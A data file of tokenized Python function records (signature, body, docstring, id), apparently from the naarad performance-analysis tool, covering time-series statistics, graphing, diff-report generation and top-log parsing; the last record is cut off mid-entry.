{"signature": "def align(self, other):", "body": "if isinstance(other, TimeSeries):<EOL><INDENT>aligned, other_aligned = {}, {}<EOL>i, other_i = self.iteritems_silent(), other.iteritems_silent()<EOL>item, other_item = i.next(), other_i.next()<EOL>while item and other_item:<EOL><INDENT>timestamp, value = item<EOL>other_timestamp, other_value = other_item<EOL>if timestamp == other_timestamp:<EOL><INDENT>aligned[timestamp] = value<EOL>other_aligned[other_timestamp] = other_value<EOL>item = i.next()<EOL>other_item = other_i.next()<EOL><DEDENT>elif timestamp < other_timestamp:<EOL><INDENT>aligned[timestamp] = value<EOL>other_aligned[timestamp] = other_value<EOL>item = i.next()<EOL><DEDENT>else:<EOL><INDENT>aligned[other_timestamp] = value<EOL>other_aligned[other_timestamp] = other_value<EOL>other_item = other_i.next()<EOL><DEDENT><DEDENT>while item:<EOL><INDENT>timestamp, value = item<EOL>aligned[timestamp] = value<EOL>other_aligned[timestamp] = other.values[-<NUM_LIT:1>]<EOL>item = i.next()<EOL><DEDENT>while other_item:<EOL><INDENT>other_timestamp, other_value = other_item<EOL>aligned[other_timestamp] = self.values[-<NUM_LIT:1>]<EOL>other_aligned[other_timestamp] = other_value<EOL>other_item = other_i.next()<EOL><DEDENT>return TimeSeries(aligned), TimeSeries(other_aligned)<EOL><DEDENT>", "docstring": "Align two time series so that len(self) == len(other) and self.timstamps == other.timestamps.\n\n:return: :tuple:(`TimeSeries` object(the aligned self), `TimeSeries` object(the aligned other))", "id": "f7853:c0:m27"}
{"signature": "def smooth(self, smoothing_factor):", "body": "forward_smooth = {}<EOL>backward_smooth = {}<EOL>output = {}<EOL>if self:<EOL><INDENT>pre = self.values[<NUM_LIT:0>]<EOL>next = self.values[-<NUM_LIT:1>]<EOL>for key, value in self.items():<EOL><INDENT>forward_smooth[key] = smoothing_factor * pre + (<NUM_LIT:1> - smoothing_factor) * value<EOL>pre = forward_smooth[key]<EOL><DEDENT>for key, value in reversed(self.items()):<EOL><INDENT>backward_smooth[key] = smoothing_factor * next + (<NUM_LIT:1> - smoothing_factor) * value<EOL>next = backward_smooth[key]<EOL><DEDENT>for key in forward_smooth.keys():<EOL><INDENT>output[key] = (forward_smooth[key] + backward_smooth[key]) / <NUM_LIT:2><EOL><DEDENT><DEDENT>return TimeSeries(output)<EOL>", "docstring": "return a new time series which is a exponential smoothed version of the original data series.\nsoomth forward once, backward once, and then take the average.\n\n:param float smoothing_factor: smoothing factor\n:return: :class:`TimeSeries` object.", "id": "f7853:c0:m28"}
{"signature": "def add_offset(self, offset):", "body": "self.timestamps = map(lambda ts: ts + offset, self.timestamps)<EOL>", "docstring": "Return a new time series with all timestamps incremented by some offset.\n\n:param int offset: The number of seconds to offset the time series.\n:return: `None`", "id": "f7853:c0:m29"}
{"signature": "def normalize(self):", "body": "maximum = self.max()<EOL>if maximum:<EOL><INDENT>self.values = map(lambda value: value / maximum, self.values)<EOL><DEDENT>", "docstring": "Return a new time series with all values normalized to 0 to 1.\n\n:return: `None`", "id": "f7853:c0:m30"}
{"signature": "def crop(self, start_timestamp, end_timestamp):", "body": "output = {}<EOL>for key, value in self.items():<EOL><INDENT>if key >= start_timestamp and key <= end_timestamp:<EOL><INDENT>output[key] = value<EOL><DEDENT><DEDENT>if output:<EOL><INDENT>return TimeSeries(output)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Return a new TimeSeries object contains all the timstamps and values within\nthe specified range.\n\n:param int start_timestamp: the start timestamp value\n:param int end_timestamp: the end timestamp value\n:return: :class:`TimeSeries` object.", "id": "f7853:c0:m31"}
{"signature": "def average(self, default=None):", "body": "return numpy.asscalar(numpy.average(self.values)) if self.values else default<EOL>", "docstring": "Calculate the average value over the time series.\n\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the average value or `None`.", "id": "f7853:c0:m32"}
{"signature": "def median(self, default=None):", "body": "return numpy.asscalar(numpy.median(self.values)) if self.values else default<EOL>", "docstring": "Calculate the median value over the time series.\n\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the median value or `None`.", "id": "f7853:c0:m33"}
{"signature": "def max(self, default=None):", "body": "return numpy.asscalar(numpy.max(self.values)) if self.values else default<EOL>", "docstring": "Calculate the maximum value over the time series.\n\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the maximum value or `None`.", "id": "f7853:c0:m34"}
{"signature": "def min(self, default=None):", "body": "return numpy.asscalar(numpy.min(self.values)) if self.values else default<EOL>", "docstring": "Calculate the minimum value over the time series.\n\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the maximum value or `None`.", "id": "f7853:c0:m35"}
{"signature": "def percentile(self, n, default=None):", "body": "return numpy.asscalar(numpy.percentile(self.values, n)) if self.values else default<EOL>", "docstring": "Calculate the Nth Percentile value over the time series.\n\n:param int n: Integer value of the percentile to calculate.\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the Nth percentile value or `None`.", "id": "f7853:c0:m36"}
{"signature": "def stdev(self, default=None):", "body": "return numpy.asscalar(numpy.std(self.values)) if self.values else default<EOL>", "docstring": "Calculate the standard deviation of the time series.\n\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the standard deviation value or `None`.", "id": "f7853:c0:m37"}
{"signature": "def sum(self, default=None):", "body": "return numpy.asscalar(numpy.sum(self.values)) if self.values else default<EOL>", "docstring": "Calculate the sum of all the values in the times series.\n\n:param default: Value to return as a default should the calculation not be possible.\n:return: Float representing the sum or `None`.", "id": "f7853:c0:m38"}
{"signature": "def __init__(self, shift, coefficient, shifted_coefficient):", "body": "self.shift = shift<EOL>self.coefficient = coefficient<EOL>self.shifted_coefficient = shifted_coefficient<EOL>", "docstring": "Construct a CorrelationResult object.\n:param int shift: the amount of shift where the coefficient is obtained.\n:param float coefficient: the correlation coefficient.\n:param float shifted_coefficient: the correlation coefficient with shift taken into account.", "id": "f7854:c0:m0"}
{"signature": "def graph_csv(output_directory, resource_path, csv_file, plot_title, output_filename, y_label=None, precision=None, graph_height=\"<STR_LIT>\", graph_width=\"<STR_LIT>\"):", "body": "if not os.path.getsize(csv_file):<EOL><INDENT>return False, \"<STR_LIT>\"<EOL><DEDENT>y_label = y_label or plot_title<EOL>div_id = str(random.random())<EOL>div_string = \"<STR_LIT>\" % (div_id, graph_width, graph_height)<EOL>script_string = \"\"\"<STR_LIT>\"\"\" + div_id + \"\"\"<STR_LIT>\"\"\" + resource_path + '<STR_LIT:/>' + os.path.basename(csv_file) + \"\"\"<STR_LIT>\"\"\" + y_label + \"\"\"<STR_LIT>\"\"\" + plot_title + \"\"\"<STR_LIT>\"\"\" + y_label + \"\"\"<STR_LIT>\"\"\"<EOL>with open(os.path.join(output_directory, output_filename + '<STR_LIT>'), '<STR_LIT:w>') as div_file:<EOL><INDENT>div_file.write(div_string + script_string)<EOL><DEDENT>return True, os.path.join(output_directory, output_filename + '<STR_LIT>')<EOL>", "docstring": "Single metric graphing function", "id": "f7857:m0"}
{"signature": "def graph_data_on_the_same_graph(list_of_plots, output_directory, resource_path, output_filename):", "body": "logger.warning('<STR_LIT>')<EOL>return False, None<EOL>", "docstring": "graph_data_on_the_same_graph: put a list of plots on the same graph: currently it supports CDF", "id": "f7857:m2"}
{"signature": "def graph_data_on_the_same_graph(list_of_plots, output_directory, resource_path, output_filename):", "body": "logger.warning('<STR_LIT>')<EOL>return False, None<EOL>", "docstring": "graph_data_on_the_same_graph: put a list of plots on the same graph: currently it supports CDF", "id": "f7858:m3"}
{"signature": "def highlight_region(plt, start_x, end_x):", "body": "start_x = convert_to_mdate(start_x)<EOL>end_x = convert_to_mdate(end_x)<EOL>plt.axvspan(start_x, end_x, color=CONSTANTS.HIGHLIGHT_COLOR, alpha=CONSTANTS.HIGHLIGHT_ALPHA)<EOL>", "docstring": "Highlight a region on the chart between the specified start and end x-co-ordinates.\nparam pyplot plt: matplotlibk pyplot which contains the charts to be highlighted\nparam string start_x : epoch time millis\nparam string end_x : epoch time millis", "id": "f7860:m4"}
{"signature": "def graph_data_on_the_same_graph(list_of_plots, output_directory, resource_path, output_filename):", "body": "maximum_yvalue = -float('<STR_LIT>')<EOL>minimum_yvalue = float('<STR_LIT>')<EOL>plots = curate_plot_list(list_of_plots)<EOL>plot_count = len(plots)<EOL>if plot_count == <NUM_LIT:0>:<EOL><INDENT>return False, None<EOL><DEDENT>graph_height, graph_width, graph_title = get_graph_metadata(plots)<EOL>current_plot_count = <NUM_LIT:0><EOL>fig, axis = plt.subplots()<EOL>fig.set_size_inches(graph_width, graph_height)<EOL>if plot_count < <NUM_LIT:2>:<EOL><INDENT>fig.subplots_adjust(left=CONSTANTS.SUBPLOT_LEFT_OFFSET, bottom=CONSTANTS.SUBPLOT_BOTTOM_OFFSET, right=CONSTANTS.SUBPLOT_RIGHT_OFFSET)<EOL><DEDENT>else:<EOL><INDENT>fig.subplots_adjust(left=CONSTANTS.SUBPLOT_LEFT_OFFSET, bottom=CONSTANTS.SUBPLOT_BOTTOM_OFFSET,<EOL>right=CONSTANTS.SUBPLOT_RIGHT_OFFSET - CONSTANTS.Y_AXIS_OFFSET * (plot_count - <NUM_LIT:2>))<EOL><DEDENT>for plot in plots:<EOL><INDENT>current_plot_count += <NUM_LIT:1><EOL>logger.info('<STR_LIT>' + plot.input_csv + '<STR_LIT>' + output_filename + '<STR_LIT>')<EOL>xval, yval = numpy.loadtxt(plot.input_csv, unpack=True, delimiter='<STR_LIT:U+002C>')<EOL>axis.plot(xval, yval, linestyle='<STR_LIT:->', marker=None, color=get_current_color(current_plot_count), label=plot.plot_label)<EOL>axis.legend()<EOL>maximum_yvalue = max(maximum_yvalue, numpy.amax(yval) * (<NUM_LIT:1.0> + CONSTANTS.ZOOM_FACTOR * current_plot_count))<EOL>minimum_yvalue = min(minimum_yvalue, numpy.amin(yval) * (<NUM_LIT:1.0> - CONSTANTS.ZOOM_FACTOR * current_plot_count))<EOL><DEDENT>axis.yaxis.set_ticks_position('<STR_LIT:left>')<EOL>axis.set_xlabel(plots[<NUM_LIT:0>].x_label)<EOL>axis.set_ylabel(plots[<NUM_LIT:0>].y_label, fontsize=CONSTANTS.Y_LABEL_FONTSIZE)<EOL>axis.set_ylim([minimum_yvalue, maximum_yvalue])<EOL>axis.yaxis.grid(True)<EOL>axis.xaxis.grid(True)<EOL>axis.set_title(graph_title)<EOL>plot_file_name = os.path.join(output_directory, output_filename + \"<STR_LIT>\")<EOL>fig.savefig(plot_file_name)<EOL>plt.close()<EOL>with open(os.path.join(output_directory, output_filename + '<STR_LIT>'), '<STR_LIT:w>') as div_file:<EOL><INDENT>div_file.write('<STR_LIT>' + os.path.basename(plot_file_name).replace(\"<STR_LIT>\", \"<STR_LIT>\").replace(\"<STR_LIT>\", \"<STR_LIT>\") + '<STR_LIT>' +<EOL>resource_path + '<STR_LIT:/>' + os.path.basename(plot_file_name) + '<STR_LIT>' + os.path.basename(plot_file_name) +<EOL>'<STR_LIT>' + os.path.basename(plot_file_name) + '<STR_LIT>')<EOL><DEDENT>return True, os.path.join(output_directory, output_filename + '<STR_LIT>')<EOL>", "docstring": "graph_data_on_the_same_graph: put a list of plots on the same graph: currently it supports CDF", "id": "f7860:m6"}
{"signature": "def get_resources_location(self):", "body": "return naarad.resources.get_dir()<EOL>", "docstring": "Return the location of the report templates and local js/css includes.\n:return: filesystem location for naarad/src/resources directory.", "id": "f7861:c0:m1"}
{"signature": "def copy_local_includes(self):", "body": "resource_folder = self.get_resources_location()<EOL>for stylesheet in self.stylesheet_includes:<EOL><INDENT>if ('<STR_LIT:http>' not in stylesheet) and naarad.utils.is_valid_file(os.path.join(resource_folder, stylesheet)):<EOL><INDENT>shutil.copy(os.path.join(resource_folder, stylesheet), self.resource_directory)<EOL><DEDENT><DEDENT>for javascript in self.javascript_includes:<EOL><INDENT>if ('<STR_LIT:http>' not in javascript) and naarad.utils.is_valid_file(os.path.join(resource_folder, javascript)):<EOL><INDENT>shutil.copy(os.path.join(resource_folder, javascript), self.resource_directory)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Copy local js/css includes from naarad resources to the report/resources directory\n:return: None", "id": "f7861:c0:m2"}
{"signature": "def generate_client_charting_page(self, data_sources):", "body": "if not os.path.exists(self.resource_directory):<EOL><INDENT>os.makedirs(self.resource_directory)<EOL><DEDENT>self.copy_local_includes()<EOL>template_loader = FileSystemLoader(self.get_resources_location())<EOL>template_environment = Environment(loader=template_loader)<EOL>client_html = template_environment.get_template(CONSTANTS.TEMPLATE_HEADER).render(custom_stylesheet_includes=CONSTANTS.STYLESHEET_INCLUDES,<EOL>custom_javascript_includes=CONSTANTS.JAVASCRIPT_INCLUDES,<EOL>resource_path=self.resource_path,<EOL>report_title='<STR_LIT>') + '<STR_LIT:\\n>'<EOL>client_html += template_environment.get_template(CONSTANTS.TEMPLATE_DIFF_CLIENT_CHARTING).render(data_series=data_sources,<EOL>resource_path=self.resource_path) + '<STR_LIT:\\n>'<EOL>client_html += template_environment.get_template(CONSTANTS.TEMPLATE_FOOTER).render()<EOL>return client_html<EOL>", "docstring": "Create the client charting page for the diff report, with time series data from the two diffed reports.\n:return: generated html to be written to disk", "id": "f7861:c0:m3"}
{"signature": "def generate_diff_html(self):", "body": "if not os.path.exists(self.resource_directory):<EOL><INDENT>os.makedirs(self.resource_directory)<EOL><DEDENT>self.copy_local_includes()<EOL>div_html = '<STR_LIT>'<EOL>for plot_div in sorted(self.plot_files):<EOL><INDENT>with open(plot_div, '<STR_LIT:r>') as div_file:<EOL><INDENT>div_html += '<STR_LIT:\\n>' + div_file.read()<EOL><DEDENT><DEDENT>template_loader = FileSystemLoader(self.get_resources_location())<EOL>template_environment = Environment(loader=template_loader)<EOL>template_environment.filters['<STR_LIT>'] = naarad.utils.sanitize_string<EOL>diff_html = template_environment.get_template(CONSTANTS.TEMPLATE_HEADER).render(custom_stylesheet_includes=CONSTANTS.STYLESHEET_INCLUDES,<EOL>custom_javascript_includes=CONSTANTS.JAVASCRIPT_INCLUDES,<EOL>resource_path=self.resource_path,<EOL>report_title='<STR_LIT>') + '<STR_LIT:\\n>'<EOL>diff_html += template_environment.get_template(CONSTANTS.TEMPLATE_DIFF_PAGE).render(diff_data=self.diff_data, plot_div_content=div_html,<EOL>reports=self.reports, sla_failure_list=self.sla_failure_list,<EOL>sla_map=self.sla_map) + '<STR_LIT:\\n>'<EOL>diff_html += template_environment.get_template(CONSTANTS.TEMPLATE_FOOTER).render()<EOL>return diff_html<EOL>", "docstring": "Generate the summary diff report html from template\n:return: generated html to be written to disk", "id": "f7861:c0:m4"}
{"signature": "def discover(self, metafile):", "body": "for report in self.reports:<EOL><INDENT>if report.remote_location == '<STR_LIT>':<EOL><INDENT>if naarad.utils.is_valid_file(os.path.join(os.path.join(report.location, self.resource_path), metafile)):<EOL><INDENT>with open(os.path.join(os.path.join(report.location, self.resource_path), metafile), '<STR_LIT:r>') as meta_file:<EOL><INDENT>if metafile == CONSTANTS.STATS_CSV_LIST_FILE:<EOL><INDENT>report.stats = meta_file.readlines()[<NUM_LIT:0>].split('<STR_LIT:U+002C>')<EOL><DEDENT>elif metafile == CONSTANTS.PLOTS_CSV_LIST_FILE:<EOL><INDENT>report.datasource = meta_file.readlines()[<NUM_LIT:0>].split('<STR_LIT:U+002C>')<EOL><DEDENT>elif metafile == CONSTANTS.CDF_PLOTS_CSV_LIST_FILE:<EOL><INDENT>report.cdf_datasource = meta_file.readlines()[<NUM_LIT:0>].split('<STR_LIT:U+002C>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>report.status = '<STR_LIT>'<EOL>self.status = '<STR_LIT>'<EOL>logger.error('<STR_LIT>', report.label)<EOL>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>stats_url = report.remote_location + '<STR_LIT:/>' + self.resource_path + '<STR_LIT:/>' + metafile<EOL>meta_file_data = naarad.httpdownload.stream_url(stats_url)<EOL>if meta_file_data:<EOL><INDENT>if metafile == CONSTANTS.STATS_CSV_LIST_FILE:<EOL><INDENT>report.stats = meta_file_data.split('<STR_LIT:U+002C>')<EOL><DEDENT>elif metafile == CONSTANTS.PLOTS_CSV_LIST_FILE:<EOL><INDENT>report.datasource = meta_file_data.split('<STR_LIT:U+002C>')<EOL><DEDENT>elif metafile == CONSTANTS.CDF_PLOTS_CSV_LIST_FILE:<EOL><INDENT>report.cdf_datasource = meta_file_data.split('<STR_LIT:U+002C>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>report.status = '<STR_LIT>'<EOL>self.status = '<STR_LIT>'<EOL>logger.error('<STR_LIT>', report.label)<EOL>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Determine what summary stats, time series, and CDF csv exist for the reports that need to be diffed.\n:return: boolean: return whether the summary stats / time series / CDF csv summary was successfully located", "id": "f7861:c0:m5"}
{"signature": "def collect_datasources(self):", "body": "report_count = <NUM_LIT:0><EOL>if self.status != '<STR_LIT:OK>':<EOL><INDENT>return False<EOL><DEDENT>diff_datasource = sorted(set(self.reports[<NUM_LIT:0>].datasource) & set(self.reports[<NUM_LIT:1>].datasource))<EOL>if diff_datasource:<EOL><INDENT>self.reports[<NUM_LIT:0>].datasource = diff_datasource<EOL>self.reports[<NUM_LIT:1>].datasource = diff_datasource<EOL><DEDENT>else:<EOL><INDENT>self.status = '<STR_LIT>'<EOL>logger.error('<STR_LIT>')<EOL>return False<EOL><DEDENT>for report in self.reports:<EOL><INDENT>report.label = report_count<EOL>report_count += <NUM_LIT:1><EOL>report.local_location = os.path.join(self.resource_directory, str(report.label))<EOL>try:<EOL><INDENT>os.makedirs(report.local_location)<EOL><DEDENT>except OSError as exeption:<EOL><INDENT>if exeption.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>if report.remote_location != '<STR_LIT>':<EOL><INDENT>naarad.httpdownload.download_url_list(map(lambda x: report.remote_location + '<STR_LIT:/>' + self.resource_path + '<STR_LIT:/>' + x + '<STR_LIT>', report.datasource),<EOL>report.local_location)<EOL><DEDENT>else:<EOL><INDENT>for filename in report.datasource:<EOL><INDENT>try:<EOL><INDENT>shutil.copy(os.path.join(os.path.join(report.location, self.resource_path), filename + '<STR_LIT>'), report.local_location)<EOL><DEDENT>except IOError as exeption:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Identify what time series exist in both the diffed reports and download them to the diff report resources directory\n:return: True/False : return status of whether the download of time series resources succeeded.", "id": "f7861:c0:m6"}
{"signature": "def collect_cdf_datasources(self):", "body": "report_count = <NUM_LIT:0><EOL>if self.status != '<STR_LIT:OK>':<EOL><INDENT>return False<EOL><DEDENT>diff_cdf_datasource = sorted(set(self.reports[<NUM_LIT:0>].cdf_datasource) & set(self.reports[<NUM_LIT:1>].cdf_datasource))<EOL>if diff_cdf_datasource:<EOL><INDENT>self.reports[<NUM_LIT:0>].cdf_datasource = diff_cdf_datasource<EOL>self.reports[<NUM_LIT:1>].cdf_datasource = diff_cdf_datasource<EOL><DEDENT>else:<EOL><INDENT>self.status = '<STR_LIT>'<EOL>logger.error('<STR_LIT>')<EOL>return False<EOL><DEDENT>for report in self.reports:<EOL><INDENT>report.label = report_count<EOL>report_count += <NUM_LIT:1><EOL>report.local_location = os.path.join(self.resource_directory, str(report.label))<EOL>try:<EOL><INDENT>os.makedirs(report.local_location)<EOL><DEDENT>except OSError as exeption:<EOL><INDENT>if exeption.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>if report.remote_location != '<STR_LIT>':<EOL><INDENT>naarad.httpdownload.download_url_list(map(lambda x: report.remote_location + '<STR_LIT:/>' + self.resource_path + '<STR_LIT:/>' + x + '<STR_LIT>', report.cdf_datasource),<EOL>report.local_location)<EOL><DEDENT>else:<EOL><INDENT>for filename in report.cdf_datasource:<EOL><INDENT>try:<EOL><INDENT>shutil.copy(os.path.join(os.path.join(report.location, self.resource_path), filename + '<STR_LIT>'), report.local_location)<EOL><DEDENT>except IOError as exeption:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Identify what cdf series exist in both the diffed reports and download them to the diff report resources directory\n:return: True/False : return status of whether the download of time series resources succeeded.", "id": "f7861:c0:m7"}
{"signature": "def collect(self):", "body": "report_count = <NUM_LIT:0><EOL>if self.status != '<STR_LIT:OK>':<EOL><INDENT>return False<EOL><DEDENT>diff_stats = set(self.reports[<NUM_LIT:0>].stats) & set(self.reports[<NUM_LIT:1>].stats)<EOL>if diff_stats:<EOL><INDENT>self.reports[<NUM_LIT:0>].stats = diff_stats<EOL>self.reports[<NUM_LIT:1>].stats = diff_stats<EOL><DEDENT>else:<EOL><INDENT>self.status = '<STR_LIT>'<EOL>logger.error('<STR_LIT>')<EOL>return False<EOL><DEDENT>for report in self.reports:<EOL><INDENT>report.label = report_count<EOL>report_count += <NUM_LIT:1><EOL>report.local_location = os.path.join(self.resource_directory, str(report.label))<EOL>try:<EOL><INDENT>os.makedirs(report.local_location)<EOL><DEDENT>except OSError as exeption:<EOL><INDENT>if exeption.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>if report.remote_location != '<STR_LIT>':<EOL><INDENT>naarad.httpdownload.download_url_list(map(lambda x: report.remote_location + '<STR_LIT:/>' + self.resource_path + '<STR_LIT:/>' + x, report.stats), report.local_location)<EOL><DEDENT>else:<EOL><INDENT>for filename in report.stats:<EOL><INDENT>shutil.copy(os.path.join(os.path.join(report.location, self.resource_path), filename), report.local_location)<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Identify what summary stats exist in both the diffed reports and download them to the diff report resources directory\n:return: True/False : return status of whether the download of summary stats succeeded.", "id": "f7861:c0:m8"}
{"signature": "def plot_diff(self, graphing_library='<STR_LIT>'):", "body": "diff_datasource = sorted(set(self.reports[<NUM_LIT:0>].datasource) & set(self.reports[<NUM_LIT:1>].datasource))<EOL>graphed = False<EOL>for submetric in diff_datasource:<EOL><INDENT>baseline_csv = naarad.utils.get_default_csv(self.reports[<NUM_LIT:0>].local_location, (submetric + '<STR_LIT>'))<EOL>current_csv = naarad.utils.get_default_csv(self.reports[<NUM_LIT:1>].local_location, (submetric + '<STR_LIT>'))<EOL>if (not (naarad.utils.is_valid_file(baseline_csv) & naarad.utils.is_valid_file(current_csv))):<EOL><INDENT>continue<EOL><DEDENT>baseline_plot = PD(input_csv=baseline_csv, csv_column=<NUM_LIT:1>, series_name=submetric, y_label=submetric, precision=None, graph_height=<NUM_LIT>, graph_width=<NUM_LIT>,<EOL>graph_type='<STR_LIT>', plot_label='<STR_LIT>', x_label='<STR_LIT>')<EOL>current_plot = PD(input_csv=current_csv, csv_column=<NUM_LIT:1>, series_name=submetric, y_label=submetric, precision=None, graph_height=<NUM_LIT>, graph_width=<NUM_LIT>,<EOL>graph_type='<STR_LIT>', plot_label='<STR_LIT>', x_label='<STR_LIT>')<EOL>graphed, div_file = Diff.graphing_modules[graphing_library].graph_data_on_the_same_graph([baseline_plot, current_plot],<EOL>os.path.join(self.output_directory, self.resource_path),<EOL>self.resource_path, (submetric + '<STR_LIT>'))<EOL>if graphed:<EOL><INDENT>self.plot_files.append(div_file)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Generate CDF diff plots of the submetrics", "id": "f7861:c0:m9"}
{"signature": "def check_sla(self, sla, diff_metric):", "body": "try:<EOL><INDENT>if sla.display is '<STR_LIT:%>':<EOL><INDENT>diff_val = float(diff_metric['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>diff_val = float(diff_metric['<STR_LIT>'])<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if not (sla.check_sla_passed(diff_val)):<EOL><INDENT>self.sla_failures += <NUM_LIT:1><EOL>self.sla_failure_list.append(DiffSLAFailure(sla, diff_metric))<EOL><DEDENT>return True<EOL>", "docstring": "Check whether the SLA has passed or failed", "id": "f7861:c0:m10"}
{"signature": "def generate(self):", "body": "if (self.discover(CONSTANTS.STATS_CSV_LIST_FILE) and self.discover(CONSTANTS.PLOTS_CSV_LIST_FILE) and self.discover(CONSTANTS.CDF_PLOTS_CSV_LIST_FILE) and<EOL>self.collect() and self.collect_datasources() and self.collect_cdf_datasources()):<EOL><INDENT>for stats in self.reports[<NUM_LIT:0>].stats:<EOL><INDENT>metric_label = stats.replace('<STR_LIT>', '<STR_LIT>')<EOL>stats_0 = os.path.join(self.reports[<NUM_LIT:0>].local_location, stats)<EOL>stats_1 = os.path.join(self.reports[<NUM_LIT:1>].local_location, stats)<EOL>report0_stats = {}<EOL>report1_stats = {}<EOL>if naarad.utils.is_valid_file(stats_0) and naarad.utils.is_valid_file(stats_1):<EOL><INDENT>report0 = csv.DictReader(open(stats_0))<EOL>for row in report0:<EOL><INDENT>report0_stats[row[CONSTANTS.SUBMETRIC_HEADER]] = row<EOL><DEDENT>report0_stats['<STR_LIT>'] = report0._fieldnames<EOL>report1 = csv.DictReader(open(stats_1))<EOL>for row in report1:<EOL><INDENT>report1_stats[row[CONSTANTS.SUBMETRIC_HEADER]] = row<EOL><DEDENT>report1_stats['<STR_LIT>'] = report1._fieldnames<EOL>common_stats = sorted(set(report0_stats['<STR_LIT>']) & set(report1_stats['<STR_LIT>']))<EOL>common_submetrics = sorted(set(report0_stats.keys()) & set(report1_stats.keys()))<EOL>for submetric in common_submetrics:<EOL><INDENT>if submetric != '<STR_LIT>':<EOL><INDENT>for stat in common_stats:<EOL><INDENT>if stat != CONSTANTS.SUBMETRIC_HEADER:<EOL><INDENT>diff_metric = reduce(defaultdict.__getitem__, [stats.split('<STR_LIT:.>')[<NUM_LIT:0>], submetric, stat], self.diff_data)<EOL>diff_metric[<NUM_LIT:0>] = float(report0_stats[submetric][stat])<EOL>diff_metric[<NUM_LIT:1>] = float(report1_stats[submetric][stat])<EOL>diff_metric['<STR_LIT>'] = naarad.utils.normalize_float_for_display(diff_metric[<NUM_LIT:1>] - diff_metric[<NUM_LIT:0>])<EOL>if diff_metric[<NUM_LIT:0>] == <NUM_LIT:0>:<EOL><INDENT>if diff_metric['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>diff_metric['<STR_LIT>'] = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>diff_metric['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>diff_metric['<STR_LIT>'] = naarad.utils.normalize_float_for_display((diff_metric[<NUM_LIT:1>] - diff_metric[<NUM_LIT:0>]) * <NUM_LIT:100> / diff_metric[<NUM_LIT:0>])<EOL><DEDENT>if ((metric_label in self.sla_map.keys()) and (submetric in self.sla_map[metric_label].keys()) and<EOL>(stat in self.sla_map[metric_label][submetric].keys())):<EOL><INDENT>self.check_sla(self.sla_map[metric_label][submetric][stat], diff_metric)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>self.plot_diff()<EOL>diff_html = '<STR_LIT>'<EOL>if self.diff_data:<EOL><INDENT>diff_html = self.generate_diff_html()<EOL>client_html = self.generate_client_charting_page(self.reports[<NUM_LIT:0>].datasource)<EOL><DEDENT>if diff_html != '<STR_LIT>':<EOL><INDENT>with open(os.path.join(self.output_directory, CONSTANTS.DIFF_REPORT_FILE), '<STR_LIT:w>') as diff_file:<EOL><INDENT>diff_file.write(diff_html)<EOL><DEDENT>with open(os.path.join(self.output_directory, CONSTANTS.CLIENT_CHARTING_FILE), '<STR_LIT:w>') as client_file:<EOL><INDENT>client_file.write(client_html)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Generate a diff report from the reports specified.\n:return: True/False : return status of whether the diff report generation succeeded.", "id": "f7861:c0:m11"}
{"signature": "def put_values_into_data(self, values):", "body": "for col, value in values.items():<EOL><INDENT>if col in self.column_csv_map:<EOL><INDENT>out_csv = self.column_csv_map[col]<EOL><DEDENT>else:<EOL><INDENT>out_csv = self.get_csv(col)   <EOL>self.data[out_csv] = []<EOL><DEDENT>self.data[out_csv].append(self.ts + \"<STR_LIT:U+002C>\" + value)<EOL><DEDENT>", "docstring": "Take the (col, value) in 'values', append value into 'col' in self.data[]", "id": "f7863:c0:m1"}
{"signature": "def process_top_line(self, words):", "body": "self.ts_time = words[<NUM_LIT:2>]<EOL>self.ts = self.ts_date + '<STR_LIT:U+0020>' + self.ts_time<EOL>self.ts = ts = naarad.utils.get_standardized_timestamp(self.ts, None)<EOL>if self.ts_out_of_range(self.ts):<EOL><INDENT>self.ts_valid_lines = False<EOL><DEDENT>else:<EOL><INDENT>self.ts_valid_lines = True<EOL><DEDENT>up_days = int(words[<NUM_LIT:4>])<EOL>up_hour_minute = words[<NUM_LIT:6>].split('<STR_LIT::>')  <EOL>up_minutes = int(up_hour_minute[<NUM_LIT:0>]) * <NUM_LIT> + int(up_hour_minute[<NUM_LIT:1>].split('<STR_LIT:U+002C>')[<NUM_LIT:0>])<EOL>uptime_minute = up_days * <NUM_LIT> * <NUM_LIT> + up_minutes  <EOL>values = {}<EOL>values['<STR_LIT>'] = str(uptime_minute)<EOL>values['<STR_LIT>'] = words[<NUM_LIT:7>]<EOL>values['<STR_LIT>'] = words[<NUM_LIT:11>][:-<NUM_LIT:1>]<EOL>values['<STR_LIT>'] = words[<NUM_LIT:12>][:-<NUM_LIT:1>]<EOL>values['<STR_LIT>'] = words[<NUM_LIT>]<EOL>self.put_values_into_data(values)<EOL>", "docstring": "Process the line starting with \"top\"\nExample log:   top - 00:00:02 up 32 days,  7:08, 19 users,  load average: 0.00, 0.00, 0.00", "id": 